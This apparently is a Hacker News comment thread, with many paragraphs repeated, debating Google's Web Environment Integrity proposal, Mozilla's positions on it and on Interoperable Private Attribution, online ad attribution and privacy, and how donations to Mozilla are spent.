Those ads existed regardless of observers. The buyer of a billboard can go see that the ad is on the billboard, or that it plays on the radio.
This is quite different than the current design of online ads, where which ad to show is only decided when the ad loads and reloads.
Not that it matters that much - online ads are a total scam anyway. Particularly google's search ads, which 9 times out of 10 is just a copy of the first search result - but now in a version where they get money for the click.
This is quite different than the current design of online ads, where which ad to show is only decided when the ad loads and reloads.
Not that it matters that much - online ads are a total scam anyway. Particularly google's search ads, which 9 times out of 10 is just a copy of the first search result - but now in a version where they get money for the click.
So it's a conveniently self-imposed "problem", because websites could also just "sell adspace" like a billboard that anyone could confirm was displaying what was paid for. But instead of that, they created a problem of showing ads "dynamically" thereby necessitating the need to track users. Interesting.
Partly true - but it might also have been seen as a better way to utilize the "random" ad spaces available.
I do recall it being common for internet ads to be sold directly like billboards back in the day, before the action model took over, especially for higher value sites that could be likened to the prime real estate of a billboard on a city square or key highway with their guaranteed literal traffic.
But such direct deals probably didn't scale well, and definitely left smaller sites wanting to earn some extra revenue in the dust. There was a time when ads weren't as shit as they are now - most wouldn't worry about a banner ad or two on their favorite forum.
I do recall it being common for internet ads to be sold directly like billboards back in the day, before the action model took over, especially for higher value sites that could be likened to the prime real estate of a billboard on a city square or key highway with their guaranteed literal traffic.
But such direct deals probably didn't scale well, and definitely left smaller sites wanting to earn some extra revenue in the dust. There was a time when ads weren't as shit as they are now - most wouldn't worry about a banner ad or two on their favorite forum.
How would you, the ad buyer, confirm that the websites are really showing your ads to all, not just to you?
By verifying it using public resources?
I agree that it convenient to be able to see each ad information, but that doesn't mean that it should be this way.
I agree that it convenient to be able to see each ad information, but that doesn't mean that it should be this way.
Radio and TV have ratings and viewership estimations, billboards and video panels presumably have a knowable amount of vehicle/foot traffic. These things are independently verifiable to anyone so inclined.
When buying internet ad space, though, the information asymmetry is vastly different.
When buying internet ad space, though, the information asymmetry is vastly different.
As far as I understand nothing prevent us from introducing independent verification for online ads?
How? Sure, you can go look for yourself, but that will never tell you if the other million users are seeing the same ad.
Not really so, I have a friend who did lots of complicated modelling to estimated the effectiveness of ads in the real world for the their job.
Who gives a shit if advertising works. Just stop fscking with my web experience.
User Agent. Not advertiser agent, not government agent. USER AGENT!
User Agent. Not advertiser agent, not government agent. USER AGENT!
>Attribution is necessary for advertising to work at all.
No, attribution is what advertisers want, to do the least amount of work possible to blast you with ads that attack your deepest weaknesses, all under the pretense of "personalization".
> then the ad platform will defraud you[0]
Cool. How is that my problem as a user ? Grow a set of balls and sue the ad platform.
No, attribution is what advertisers want, to do the least amount of work possible to blast you with ads that attack your deepest weaknesses, all under the pretense of "personalization".
> then the ad platform will defraud you[0]
Cool. How is that my problem as a user ? Grow a set of balls and sue the ad platform.
To be fair, I don't think that is what advertisers - the companies trying to reach you - wants. They would most likely prefer ways that didn't bug you, as they want happy customers.
It is however what the advertisement companies and agencies want. They are selling shitty products.
It is however what the advertisement companies and agencies want. They are selling shitty products.
>advertisers - the companies trying to reach you - wants. They would most likely prefer ways that didn't bug you, as they want happy customers.
They don't give a single shit about my happiness, as long as I buy their product. Whether that's through a happy ad that made me laugh, or through being blasted with it every day for a year so that their brand is the only one I think of when I need to buy X.
Companies do not see you as a person. They don't even lack empathy, they didn't have any to begin with. You're a walking wallet they have to empty, by any means necessary, and if that's through making you feel that you're ugly and you should buy their new skincare, they will.
They don't give a single shit about my happiness, as long as I buy their product. Whether that's through a happy ad that made me laugh, or through being blasted with it every day for a year so that their brand is the only one I think of when I need to buy X.
Companies do not see you as a person. They don't even lack empathy, they didn't have any to begin with. You're a walking wallet they have to empty, by any means necessary, and if that's through making you feel that you're ugly and you should buy their new skincare, they will.
You need to widen your world view. Sure, Amazon does not give a shit about you, but while "big tech" holds most of the worlds money, such large and careless companies are an extremely tiny minority of the sum of companies out there.
The majority of companies are small to medium businesses that do actually care about their customers - when your customers are measured in thousands or less instead of billions, you will go belly up if you don't. They still use ads because how the heck would you otherwise know they even existed, and yes they want you to buy stuff but they hope you actually like the product afterwards so you end up helping them get known.
Think of it a bit like when your favorite tiny, niche YouTube channel uses clickbaity titles and thumbnails, or target the 10-15 minute mark, or use the same intro/outro format and duration as everyone else. If they didn't, no one would ever see their videos as they'd get deselected by the algorithm. No one will watch a video, or buy a product, that they do not know exists.
The majority of companies are small to medium businesses that do actually care about their customers - when your customers are measured in thousands or less instead of billions, you will go belly up if you don't. They still use ads because how the heck would you otherwise know they even existed, and yes they want you to buy stuff but they hope you actually like the product afterwards so you end up helping them get known.
Think of it a bit like when your favorite tiny, niche YouTube channel uses clickbaity titles and thumbnails, or target the 10-15 minute mark, or use the same intro/outro format and duration as everyone else. If they didn't, no one would ever see their videos as they'd get deselected by the algorithm. No one will watch a video, or buy a product, that they do not know exists.
Thank you for proving my points: small to medium businesses do not see me as a person either, but as a customer. They don't care if it's @oh_god_pls_no spending 100 bucks, or @arghwhat spending 100 bucks. We're both just a wallet to empty to them. And sure, at their scale, keeping me or you happy is the most safe way of having a steady cash flow. But that's assuming they care about either of us as repeat customers.
If pissing me off after they've gotten $100 out of me means they get three other to spend $100, it's much more valuable than having me as a repeat customer. If someone found a way to triple my monthly spend but it made me miserable, said company would inevitably do it. Because if they don't, someone will come in, and eat them alive.
Advertising is purposefully inflicted misery, on all of us. The CEO of TF1, a french TV channel, called his job "selling available brain time to advertisers". That is all you are to them, whether we're talking about Coca Cola or Joe's Snoe and Foe: they want your money, because they die without it. Every company is a parasitic organism, and advertising is currently the most efficient way to spread.
If pissing me off after they've gotten $100 out of me means they get three other to spend $100, it's much more valuable than having me as a repeat customer. If someone found a way to triple my monthly spend but it made me miserable, said company would inevitably do it. Because if they don't, someone will come in, and eat them alive.
Advertising is purposefully inflicted misery, on all of us. The CEO of TF1, a french TV channel, called his job "selling available brain time to advertisers". That is all you are to them, whether we're talking about Coca Cola or Joe's Snoe and Foe: they want your money, because they die without it. Every company is a parasitic organism, and advertising is currently the most efficient way to spread.
Your expectations are unrealistic and detrimental. Caring about their customers does not mean crying themselves to sleep at night, wondering why you haven't replied them.
Having you spend money on a product you end up liking is positive for both parties of that transaction. Imagine it's a book you like, and you recommend it to others - who then buy it too to read it. Or a song you get others to hear. That's a happy customer of an arbitrary product. Does the author or artist know who you are personally? Of course not, but they didn't need to for them to care about their customers and make something that they enjoyed.
Having you spend money on a product you end up liking is positive for both parties of that transaction. Imagine it's a book you like, and you recommend it to others - who then buy it too to read it. Or a song you get others to hear. That's a happy customer of an arbitrary product. Does the author or artist know who you are personally? Of course not, but they didn't need to for them to care about their customers and make something that they enjoyed.
Attribution is not about personalization. It's about proving to advertisement customers that their ads were seen and were useful.
This still involves a big privacy breach. But it will not
"blast you with ads that attack your deepest weaknesses, all under the pretense of "personalization"."
Instead it will tell advertisers how effective their blast was, and help argue that Google isn't defrauding them.
"blast you with ads that attack your deepest weaknesses, all under the pretense of "personalization"."
Instead it will tell advertisers how effective their blast was, and help argue that Google isn't defrauding them.
>Instead it will tell advertisers how effective their blast was, and help argue that Google isn't defrauding them.
Okay. So this is about validating ad effectiveness and minimizing ad fraud, right?
Assuming that's your point (apologies if I'm missing something important), what does that have to do with me or my private property?
Advertisers have business relationships with advertising platforms. Advertisers might also have a business relationship with me, assuming I choose to purchase their product(s).
But the advertising platform has no business relationship with me (assuming I'm not buying ads on that platform). As such, why do I have to give data, CPU cycles and privacy so the advertising platform can provide metrics about ad effectiveness and fraud?
None of that has anything to do with me, and I don't wish to give up those things (especially my privacy) on the devices I own.
It's unethical for these rapacious scumbags to limit what I can do on my devices (which are my private property) If I refuse to provide third (the ad platform) and fourth (the advertisers) parties specific information about who I am and what I see or don't see (which is what a permanent identifier in secure storage would do) when I visit a site of my choosing.
I'll say it again to make sure I'm clear: I don't care about advertisers or ad platforms. They can go an play with each other all they want -- but don't limit what I can do on my devices because it will make you more money. Fuck. That. Noise.
Edit: Clarified prose.
Okay. So this is about validating ad effectiveness and minimizing ad fraud, right?
Assuming that's your point (apologies if I'm missing something important), what does that have to do with me or my private property?
Advertisers have business relationships with advertising platforms. Advertisers might also have a business relationship with me, assuming I choose to purchase their product(s).
But the advertising platform has no business relationship with me (assuming I'm not buying ads on that platform). As such, why do I have to give data, CPU cycles and privacy so the advertising platform can provide metrics about ad effectiveness and fraud?
None of that has anything to do with me, and I don't wish to give up those things (especially my privacy) on the devices I own.
It's unethical for these rapacious scumbags to limit what I can do on my devices (which are my private property) If I refuse to provide third (the ad platform) and fourth (the advertisers) parties specific information about who I am and what I see or don't see (which is what a permanent identifier in secure storage would do) when I visit a site of my choosing.
I'll say it again to make sure I'm clear: I don't care about advertisers or ad platforms. They can go an play with each other all they want -- but don't limit what I can do on my devices because it will make you more money. Fuck. That. Noise.
Edit: Clarified prose.
> Okay. So this is about validating ad effectiveness and minimizing ad fraud, right?
Indeed
> what does that have to do with me or my private property? ... But the advertising platform has no business relationship with me
I am not convinced that you owe the advertising platform attribution. My original point was just that attribution is not about dragnet surveillance for personalizing ads. But I can try to argue why browsers should do attribution, just to interrogate the question.
Specifically, you have a business relation with whatever website you are going to that serves you ads. That website has a clear interest in helping their ad-platform attribute ads on their website. After all, that website depends on those ads for your income.
It is then within the perogative of that website to effectively say I only want to serve my website to users who will cooperate with attribution. This request is not a request for mass surveillance, because attribution is limited in what it reveals about a person. So this request could be construed as reasonable.
Given that websites have a reasonable standing to make these demands, it is reasonable for a user-agent to be able to accept these demands. Since otherwise the user for which the user-agent is acting cannot visit the website they requested the user-agent display. Of course a user-agent should let you opt out, but then websites are within their rights of refusing you access.
So far, so reasonable (or at least not completely unreasonable).
The sticking point is of-course that most website do want attribution, but don't want to block people with older browsers. So they want users to agree to give them the attribution data without giving the users anything in return. At which point a user-agent has no more business cooperating with attribution on behalf of the user.
In that case, there remains an argument of "if we don't do attribution the entire web is worse off, so we solve the tragedy of the commons by 'making the right decision' in the defaults for the user-agent". But that argument is clearly unreasonable to me.
Indeed
> what does that have to do with me or my private property? ... But the advertising platform has no business relationship with me
I am not convinced that you owe the advertising platform attribution. My original point was just that attribution is not about dragnet surveillance for personalizing ads. But I can try to argue why browsers should do attribution, just to interrogate the question.
Specifically, you have a business relation with whatever website you are going to that serves you ads. That website has a clear interest in helping their ad-platform attribute ads on their website. After all, that website depends on those ads for your income.
It is then within the perogative of that website to effectively say I only want to serve my website to users who will cooperate with attribution. This request is not a request for mass surveillance, because attribution is limited in what it reveals about a person. So this request could be construed as reasonable.
Given that websites have a reasonable standing to make these demands, it is reasonable for a user-agent to be able to accept these demands. Since otherwise the user for which the user-agent is acting cannot visit the website they requested the user-agent display. Of course a user-agent should let you opt out, but then websites are within their rights of refusing you access.
So far, so reasonable (or at least not completely unreasonable).
The sticking point is of-course that most website do want attribution, but don't want to block people with older browsers. So they want users to agree to give them the attribution data without giving the users anything in return. At which point a user-agent has no more business cooperating with attribution on behalf of the user.
In that case, there remains an argument of "if we don't do attribution the entire web is worse off, so we solve the tragedy of the commons by 'making the right decision' in the defaults for the user-agent". But that argument is clearly unreasonable to me.
>Specifically, you have a business relation with whatever website you are going to that serves you ads. That website has a clear interest in helping their ad-platform attribute ads on their website. After all, that website depends on those ads for your income.
Just a nit, "...that website depends on those ads for their income," not mine.
But yes, you're correct. And I do, in fact, aggressively block ads and the trackers/spyware/malware that goes with them.
And website owners are well within their rights to block me from viewing their site if (when, actually) I refuse to view their ads -- a point I've made in perhaps a half-dozen comments here on HN just in the past 12 months or so.
And I'm fine with that. For exactly the same reasons I gave for not wanting anything to do with ads/trackers/spyware running on my private property -- a site is the website owner's private property and they should be able to "charge a cover fee" (i.e., require that I view ads) to view the content of that site.
But WEI doesn't change that dynamic even a little. Rather, it forces me to give up control of my private property and privacy whether I want to do so or not.
I'd add that the "benefit" here isn't giving website owners the option to block me if I don't wish to view the ads run on their site -- they can already do that without WEI. In fact, some sites already do so. The only "benefit" AFAICT is that the ad platforms would now have enormously more information (in that they can now track me everywhere with a cryptographic signature regardless of any steps I might take to protect my privacy) to validate ad impressions and reporting metrics for the advertisers.
The result is that website owners have the same capability they've always had, but now I'm forced to subsidize some of the richest companies in the world with my electricity, CPU cycles, data, network bandwidth, browsing history, and likely my PII.
That's what I object to.
>In that case, there remains an argument of "if we don't do attribution the entire web is worse off, so we solve the tragedy of the commons by 'making the right decision' in the defaults for the user-agent". But that argument is clearly unreasonable to me.
Yes, it is unreasonable. I take great pains (I never log in/create accounts on any Google properties, block trackers and "analytics," self-host my email and content I wish to share in the Internet, etc., etc., etc.) to maintain at least a semblance of privacy, which is already a time/cost sink for me.
And these rapacious scumbags want me to jump through more hoops and run their code on my systems just so they can charge advertisers more for shit I don't want anyway? I'll say it again: Fuck. That. Noise.
tl;dr: Websites can already (and I support their ability to do so) block me (or anyone else) who runs an ad blocker from viewing their site. As such, the only folks that will have new capabiliities/benefits from WEI are ad platforms and advertisers. With whom I have no relationship whatsoever and don't want their spyware to execute on my private property.
Just a nit, "...that website depends on those ads for their income," not mine.
But yes, you're correct. And I do, in fact, aggressively block ads and the trackers/spyware/malware that goes with them.
And website owners are well within their rights to block me from viewing their site if (when, actually) I refuse to view their ads -- a point I've made in perhaps a half-dozen comments here on HN just in the past 12 months or so.
And I'm fine with that. For exactly the same reasons I gave for not wanting anything to do with ads/trackers/spyware running on my private property -- a site is the website owner's private property and they should be able to "charge a cover fee" (i.e., require that I view ads) to view the content of that site.
But WEI doesn't change that dynamic even a little. Rather, it forces me to give up control of my private property and privacy whether I want to do so or not.
I'd add that the "benefit" here isn't giving website owners the option to block me if I don't wish to view the ads run on their site -- they can already do that without WEI. In fact, some sites already do so. The only "benefit" AFAICT is that the ad platforms would now have enormously more information (in that they can now track me everywhere with a cryptographic signature regardless of any steps I might take to protect my privacy) to validate ad impressions and reporting metrics for the advertisers.
The result is that website owners have the same capability they've always had, but now I'm forced to subsidize some of the richest companies in the world with my electricity, CPU cycles, data, network bandwidth, browsing history, and likely my PII.
That's what I object to.
>In that case, there remains an argument of "if we don't do attribution the entire web is worse off, so we solve the tragedy of the commons by 'making the right decision' in the defaults for the user-agent". But that argument is clearly unreasonable to me.
Yes, it is unreasonable. I take great pains (I never log in/create accounts on any Google properties, block trackers and "analytics," self-host my email and content I wish to share in the Internet, etc., etc., etc.) to maintain at least a semblance of privacy, which is already a time/cost sink for me.
And these rapacious scumbags want me to jump through more hoops and run their code on my systems just so they can charge advertisers more for shit I don't want anyway? I'll say it again: Fuck. That. Noise.
tl;dr: Websites can already (and I support their ability to do so) block me (or anyone else) who runs an ad blocker from viewing their site. As such, the only folks that will have new capabiliities/benefits from WEI are ad platforms and advertisers. With whom I have no relationship whatsoever and don't want their spyware to execute on my private property.
>Attribution is not about personalization.
Alright, let's see the next senten-
>It's about proving to advertisement customers that their ads were seen and were useful.
So, it's about making sure that the ads that they showed me were personalized enough that they accurately target me. Ads that are built to be efficient because they create a need from a very small part in me that can normally be reasoned with. Or attack some deep seated fears to make me purchase their magic fat loss pills, that they accurately targeted because of attribution, and because of being repeatedly told how effective their blasts are.
So it's about personalization, got it.
Alright, let's see the next senten-
>It's about proving to advertisement customers that their ads were seen and were useful.
So, it's about making sure that the ads that they showed me were personalized enough that they accurately target me. Ads that are built to be efficient because they create a need from a very small part in me that can normally be reasoned with. Or attack some deep seated fears to make me purchase their magic fat loss pills, that they accurately targeted because of attribution, and because of being repeatedly told how effective their blasts are.
So it's about personalization, got it.
Advertising does not axiomatically need to be personalized to be seen and useful. An advertising platform that did not personalize the adverts could still create valuable advert placement. They would need attribution of conversions in order to demonstrate that.
The pitch of modern advertising certainly seems to be 'more personalised ads are the only way to be effective'. And within that pitch, attribution is about finding out if the way an ad was personalized was indeed effective. But I am not sure I trust google and facebook when they claim "only personalized ads are effective".
The pitch of modern advertising certainly seems to be 'more personalised ads are the only way to be effective'. And within that pitch, attribution is about finding out if the way an ad was personalized was indeed effective. But I am not sure I trust google and facebook when they claim "only personalized ads are effective".
> Attribution is necessary for advertising to work at all.
Yes, and since "attribution" as defined here is incompatible with user's privacy (which is a human right), therefore advertising should fail. Can it please fail early and fail often?
Yes, and since "attribution" as defined here is incompatible with user's privacy (which is a human right), therefore advertising should fail. Can it please fail early and fail often?
Others have already addressed "Attribution is necessary for advertising to work at all." so I'll address the remainder of the issue.
What prevents any of the following solutions from providing assurance to advertising clients, without also destroying the Internet and general purpose computing:
1. Building trust with advertising clients be treating them with respect, honesty and transparency. If your clients don't trust your advertising network and were demanding assurances in the form of WEI and similar proposals, surely it's obvious there are bigger problems. The advertising client would likely have dropped the advertising network long ago but can't due to monopolies existing.
2. Advertising networks undergo independent audits (results available to clients) and become more transparent to clients in how their advertising spend is being used.
3. Advertising clients survey users at checkout to ask whether they found the product/service from an advert, or whether they recall seeing an advertising campaign and where they remember seeing it.
4. Advertising clients host advertisements at ads.company.example (in a few highly restricted formats) so they can keep track of impressions themselves.
5. (still a bad idea, based on user surveys, but one which Google et al should have considered for minimisation of data collection and privacy impact) Browsers collect advertising metrics during use and when a user makes a transaction at an online store, the online store asks the user (via the browser) for permission to obtain those saved advertising metrics to provide only to the online store. Users can review the entirety of information sent to the online store before it is sent. Advertising networks don't have a need to access browsing history for everyone on the Internet in real time.
6. Online stores and similar continue to rotate their marketing spend through various advertising networks and marketing campaigns, checking their own metrics to see if advertising campaigns have been having an impact. Campaigns could include marketing using the Internet but outside the reach of Google et al such as use of campaign-specific coupons and products marketed through product review websites, referral schemes, influencers, etc.
What prevents any of the following solutions from providing assurance to advertising clients, without also destroying the Internet and general purpose computing:
1. Building trust with advertising clients be treating them with respect, honesty and transparency. If your clients don't trust your advertising network and were demanding assurances in the form of WEI and similar proposals, surely it's obvious there are bigger problems. The advertising client would likely have dropped the advertising network long ago but can't due to monopolies existing.
2. Advertising networks undergo independent audits (results available to clients) and become more transparent to clients in how their advertising spend is being used.
3. Advertising clients survey users at checkout to ask whether they found the product/service from an advert, or whether they recall seeing an advertising campaign and where they remember seeing it.
4. Advertising clients host advertisements at ads.company.example (in a few highly restricted formats) so they can keep track of impressions themselves.
5. (still a bad idea, based on user surveys, but one which Google et al should have considered for minimisation of data collection and privacy impact) Browsers collect advertising metrics during use and when a user makes a transaction at an online store, the online store asks the user (via the browser) for permission to obtain those saved advertising metrics to provide only to the online store. Users can review the entirety of information sent to the online store before it is sent. Advertising networks don't have a need to access browsing history for everyone on the Internet in real time.
6. Online stores and similar continue to rotate their marketing spend through various advertising networks and marketing campaigns, checking their own metrics to see if advertising campaigns have been having an impact. Campaigns could include marketing using the Internet but outside the reach of Google et al such as use of campaign-specific coupons and products marketed through product review websites, referral schemes, influencers, etc.
1. There isn't any honesty or transparency in the ad industry, it's scams all the way down. This was the case way before today's current wave of platform monopolization, but Google owning everything makes it way worse.
2. Great, they should do that, but good luck doing that when the data you need to audit is on a bajillion client machines.
3. People do that already
4. This became a thing a while back as a way to defeat third-party tracking blockers in browsers
5. This is literally the attribution system you're arguing against
6. They do that already. But good luck finding an ad marketplace that Google and Facebook don't have their fingers already in.
Also...
> What prevents any of the following solutions from providing assurance to advertising clients, without also destroying the Internet and general purpose computing
I was replying to a comment asking why Mozilla supports Interoperable Private Attribution (IPA). None of what I said should be taken as support for Web Integrity, which is cancer.
2. Great, they should do that, but good luck doing that when the data you need to audit is on a bajillion client machines.
3. People do that already
4. This became a thing a while back as a way to defeat third-party tracking blockers in browsers
5. This is literally the attribution system you're arguing against
6. They do that already. But good luck finding an ad marketplace that Google and Facebook don't have their fingers already in.
Also...
> What prevents any of the following solutions from providing assurance to advertising clients, without also destroying the Internet and general purpose computing
I was replying to a comment asking why Mozilla supports Interoperable Private Attribution (IPA). None of what I said should be taken as support for Web Integrity, which is cancer.
It absolutely is not necessary, and up until recently it wasn’t even possible (barring customer surveys and the like.) It’s just very convenient for advertising services, at the expense of everyone’s privacy.
Assuming this is true (it's not), how is any of this the problem of the User Agent?
Given TFA, it looks like you can ask Mozilla for a position by opening a GitHub issue at https://github.com/mozilla/standards-positions
A position request was raised in February for both Mozilla[1] and WebKit[2] and neither have been responded to.
[1] https://github.com/mozilla/standards-positions/issues/753
[2] https://github.com/WebKit/standards-positions/issues/142
[1] https://github.com/mozilla/standards-positions/issues/753
[2] https://github.com/WebKit/standards-positions/issues/142
To be fair, "Web Integrity" (aka remote attestation aka a corporate surveillance agent built into "your" hardware) is much more fundamental as it would prevent the running of forked browsers that remove deliberate security vulnerabilities like IPA. It's unfortunate that Mozilla "plays ball" on garbage like IPA, but at least as things stand users are free to disable/remove/fork/etc. Whereas remote attestation is fundamentally game over for the idea of user representing agents altogether.
No matter how bad the mozilla proposal is, what you're doing here is whataboutism, which eventually serves Google's interest, and defend their much more dystopian proposal…
It's not whataboutism because Mozilla's response to the WEI, IPA and other PATCG[1] and AntiFraudCG[2] proposals are closely intertwined and all reduce the control users have over their browser, their computers and their Internet experience to the benefit of a cartel of technology companies who receive a significant revenue stream from advertising and gatekeeping online commerce. How can Mozilla be committed to "Our mission is to ensure the Internet is a global public resource, open and accessible to all."[3] and at the same time be participating in PATCG and AntiFraudCG proposals that have opposing objectives? Is there even one serious consideration given in any PATCG or AntiFraudCG proposal for impacts to accessibility, interoperability, openness of the Internet (including to new market entrants wanting to implement a new phone, computer, browser, advertising business, etc)?
Additionally, AntiFraudCG proposals such as WEI focus on benefits they provide to PATCG proposals. For example, a Googler with historical interest in minimising inflated view counts on YouTube[4] (a benefit to YouTube's advertisers) wrote earlier this year a proposal to AntiFraudCG including:
"By transmitting signals of legitimacy from the device’s platform, such as if the device is emulated or rooted, publishers and their technology partners could use this information in part to determine if traffic is invalid. They could then choose appropriate actions like flagging advertising actions as suspicious"[5]
[1] https://github.com/patcg
[2] https://github.com/antifraudcg
[3] https://www.mozilla.org/en-US/mission/
[4] https://security.googleblog.com/2014/02/keeping-youtube-view...
[5] https://github.com/antifraudcg/proposals/issues/8
Additionally, AntiFraudCG proposals such as WEI focus on benefits they provide to PATCG proposals. For example, a Googler with historical interest in minimising inflated view counts on YouTube[4] (a benefit to YouTube's advertisers) wrote earlier this year a proposal to AntiFraudCG including:
"By transmitting signals of legitimacy from the device’s platform, such as if the device is emulated or rooted, publishers and their technology partners could use this information in part to determine if traffic is invalid. They could then choose appropriate actions like flagging advertising actions as suspicious"[5]
[1] https://github.com/patcg
[2] https://github.com/antifraudcg
[3] https://www.mozilla.org/en-US/mission/
[4] https://security.googleblog.com/2014/02/keeping-youtube-view...
[5] https://github.com/antifraudcg/proposals/issues/8
That's not what whataboutism is.
- Mozilla says “WEI is bad”.
- OP responds with “what about IPA”
It's litteral whataboutism.
- OP responds with “what about IPA”
It's litteral whataboutism.
It's only whataboutism if it's irrelevant / changing the subject / etc. OP's criticisms are very relevant, in that, I believe OP is just wanting to see consistency out of Mozilla's positions. This is all still about Mozilla and standards proposals.
I'm sure OP is glad that Mozilla takes a negative position on WEI, but when they take other positions simultaneously that seem to counter their WEI positioning, that is a legitimate criticism. I share in that view.
I'm glad to see Mozilla push back in a case like this, but they need to do more, and more consistently so.
I'm sure OP is glad that Mozilla takes a negative position on WEI, but when they take other positions simultaneously that seem to counter their WEI positioning, that is a legitimate criticism. I share in that view.
I'm glad to see Mozilla push back in a case like this, but they need to do more, and more consistently so.
I think you're attempting to frame the discussion in a very narrow way that is inconsistent with the public backlash. Public backlash is largely due to browser vendors demonstrating a very strong motivation to prioritise the needs of advertisers over users through their contributions to WEI and similar W3C proposals.
Were you expecting only responses of praise for Mozilla, that users have been heard on WEI and therefore everyone can move on? Mozilla has invested resources together with Meta into developing the IPA proposal that also prioritises the needs of advertisers over users. The problem that IPA seeks to solve is:
A further error of your framing is assuming WEI and IPA proposals can be meaningfully discussed in isolation of each other. With such framing, there is an avoidance of discussion of the combined impact of proposals if they were implemented together, or whether proposals such as IPA still make sense to pursue without WEI (or future equivalent proposal).
[1] https://docs.google.com/presentation/d/1NpQz0Wm73eEKw24V7B0y...
[2] https://www.rfc-editor.org/rfc/rfc8890.html
[3] https://www.w3.org/TR/design-principles/#priority-of-constit...
[4] https://www.w3.org/TR/ethical-web-principles/#control, https://www.w3.org/TR/ethical-web-principles/#multi, https://www.w3.org/TR/ethical-web-principles/#render
[5] https://en.wikipedia.org/wiki/Whataboutism#Defense
Were you expecting only responses of praise for Mozilla, that users have been heard on WEI and therefore everyone can move on? Mozilla has invested resources together with Meta into developing the IPA proposal that also prioritises the needs of advertisers over users. The problem that IPA seeks to solve is:
"Advertisers need accurate reporting about how their ad campaigns are performing. Currently, businesses use data about the people who viewed their ads and bought their products to determine ‘return on ad spend’. But the ecosystem is moving towards more privacy and less personal data sharing."[1]
"Detecting fraud and invalid traffic is a challenging problem that we're interested in helping address."
A further error of your framing is assuming WEI and IPA proposals can be meaningfully discussed in isolation of each other. With such framing, there is an avoidance of discussion of the combined impact of proposals if they were implemented together, or whether proposals such as IPA still make sense to pursue without WEI (or future equivalent proposal).
[1] https://docs.google.com/presentation/d/1NpQz0Wm73eEKw24V7B0y...
[2] https://www.rfc-editor.org/rfc/rfc8890.html
[3] https://www.w3.org/TR/design-principles/#priority-of-constit...
[4] https://www.w3.org/TR/ethical-web-principles/#control, https://www.w3.org/TR/ethical-web-principles/#multi, https://www.w3.org/TR/ethical-web-principles/#render
[5] https://en.wikipedia.org/wiki/Whataboutism#Defense
your Mozilla browser will send all of these events to one or more aggregation services
...if you let it.
...if you let it.
Browser detection. "Environment" detection.
How to design a website that is not accesible with Chrome. As a means of protest by certain website operators.
Would be fun to watch Google circumvent that. Especially if it was only popular amongst small, noncommercial websites.
How to design a website that is not accesible with Chrome. As a means of protest by certain website operators.
Would be fun to watch Google circumvent that. Especially if it was only popular amongst small, noncommercial websites.
I like this idea. Help users by training them to use multiple browsers regularly. My kids already use multiple browsers (e.g. to block youtube ads on their android devices). People will happily use other browsers if they have a good reason to.
But rather than block them outright, I would disable all but the necessarily features snd keep reminding those users to either switch to another browser or to use something like tampermonkey (with clear instructions in what it needs to do).
What would be a good way to detect support for this stuff? The js api?
But rather than block them outright, I would disable all but the necessarily features snd keep reminding those users to either switch to another browser or to use something like tampermonkey (with clear instructions in what it needs to do).
What would be a good way to detect support for this stuff? The js api?
For a long 6 years, Chrome could not access my website (but all other web browsers can) because it was unable to respect server-side mandatory negotiation of non-HTTP/3 along with only ChaCha/Poly (no AES/RSA). Microsoft Edge fixed theirs shortly afterward.
Happy to say, Google just fixed it (about 4 months ago).
Many free cross-browser testing tools still can demonstrate the breakage (via version testing).
Happy to say, Google just fixed it (about 4 months ago).
Many free cross-browser testing tools still can demonstrate the breakage (via version testing).
This might be inspirational: https://news.ycombinator.com/item?id=25240299
The mobile equivalent, the play integrity API should be illegal and fought in court. I'm also pretty sure it goes against the right to repair and e-waste laws in the EU since it's whole idea is to remove third party roms.
We should start to orient the debate instead on the security issues created by Google and their ads.
We should start to orient the debate instead on the security issues created by Google and their ads.
Google is abusing trusted computing. While I can understand that some banks prefer the payment processing code to be run on devices which are locked down, currently such Android devices contain Google adware and spyware, which is definitelly not necessary for a trusted device to be used for payments.
Google should be split so that the interests of Google'd not taint Android and Chrome.
Google should be split so that the interests of Google'd not taint Android and Chrome.
> currently such Android devices contain Google adware and spyware, which is definitelly not necessary for a trusted device to be used for payments.
That's exactly the thing, this integrity api only means the deviced is controlled, not secure, that's two very different things. You can have a phone riddled with pre-installed malware passing the safety net and you can have EOS, the cleanest rom that I know about which can fail it.
That's exactly the thing, this integrity api only means the deviced is controlled, not secure, that's two very different things. You can have a phone riddled with pre-installed malware passing the safety net and you can have EOS, the cleanest rom that I know about which can fail it.
Abusing trusted computing? The whole concept is about NOT trusting the user and giving control to third parties instead.
Yeah, but while you could think of trusted computing like "the author of the code has control" - and I'd not see a big issue with payment apps being tamper-resistant, I do see a GIANT issue with Google instering their bloatware in the middle..
Tangential:
I'd love to donate to Mozilla, but I'm concerned my money could just end up in some C-suite pockets if I do. Is there a way to donate specifically to Firefox core(-ish) team, and maybe also MDN?
I'd love to donate to Mozilla, but I'm concerned my money could just end up in some C-suite pockets if I do. Is there a way to donate specifically to Firefox core(-ish) team, and maybe also MDN?
That wouldn't make any sense from them. What good would donations for Firefox be if they can't pay the cleaning staff of their office or it's rent or the HR and accounting and legal people that keep the "Firefox core-ish team, and maybe also MDN" employed and running? Even the CEO, even if ridiculously overpaid (one can make an argument that to get a quality CEO in the US you need to pay them a lot, which I don't buy, surely there are people capable of being CEOs out there that aren't greedy as fuck and would be willing to accept a low salary of a 1-2 million $ per year) is necessary for the company, and a bad CEO can ruin them (see: GE, Enron, Boeing, Twitter, etc.).
For a "fun" example of how strict budget destination restrictions fail, take a look at Atlanta's MARTA, that used to have a fixed 50/50 budget split between OPEX and CAPEX by it's funding law, and therefore had brand new trains but everything else falling apart.
For a "fun" example of how strict budget destination restrictions fail, take a look at Atlanta's MARTA, that used to have a fixed 50/50 budget split between OPEX and CAPEX by it's funding law, and therefore had brand new trains but everything else falling apart.
That totally makes sense, yeah! But giving donors just a bit more control would still be nice IMO.
A lot of charities allow restrictions for donations but often those aren't transparent to the donor.
Do you do this same analysis for every purchase you make? Maybe the sandwich shop you bought lunch at used your money to buy a pizza for the owner & her wife, neither of whom worked at the store that day and made your lunch. Does that upset you? It's a business. Money comes in, money goes out, product gets made. Either pay them for the product you like, or don't. It's up to them how they use the money they get.
You can make a restricted donation to the Mozilla Foundation, and if they accept it, they're bound to the restriction unless you consent.
However, dollars are fungible. If you donate $500 to support MDN, that may replace $500 for MDN coming from revenue, which frees up $500 to go into something else, like a C-Suite's pocket, or Pocket or whatever. So while your dollars go where you said, it still enables whatever you didn't like. OTOH, if you donate $50B to support MDN, that's a bit different; it certainly frees up whatever money was going to support MDN before, but there wasn't $50B of MDN expense, so the excess beyond the needs of MDN doesn't go anywhere.
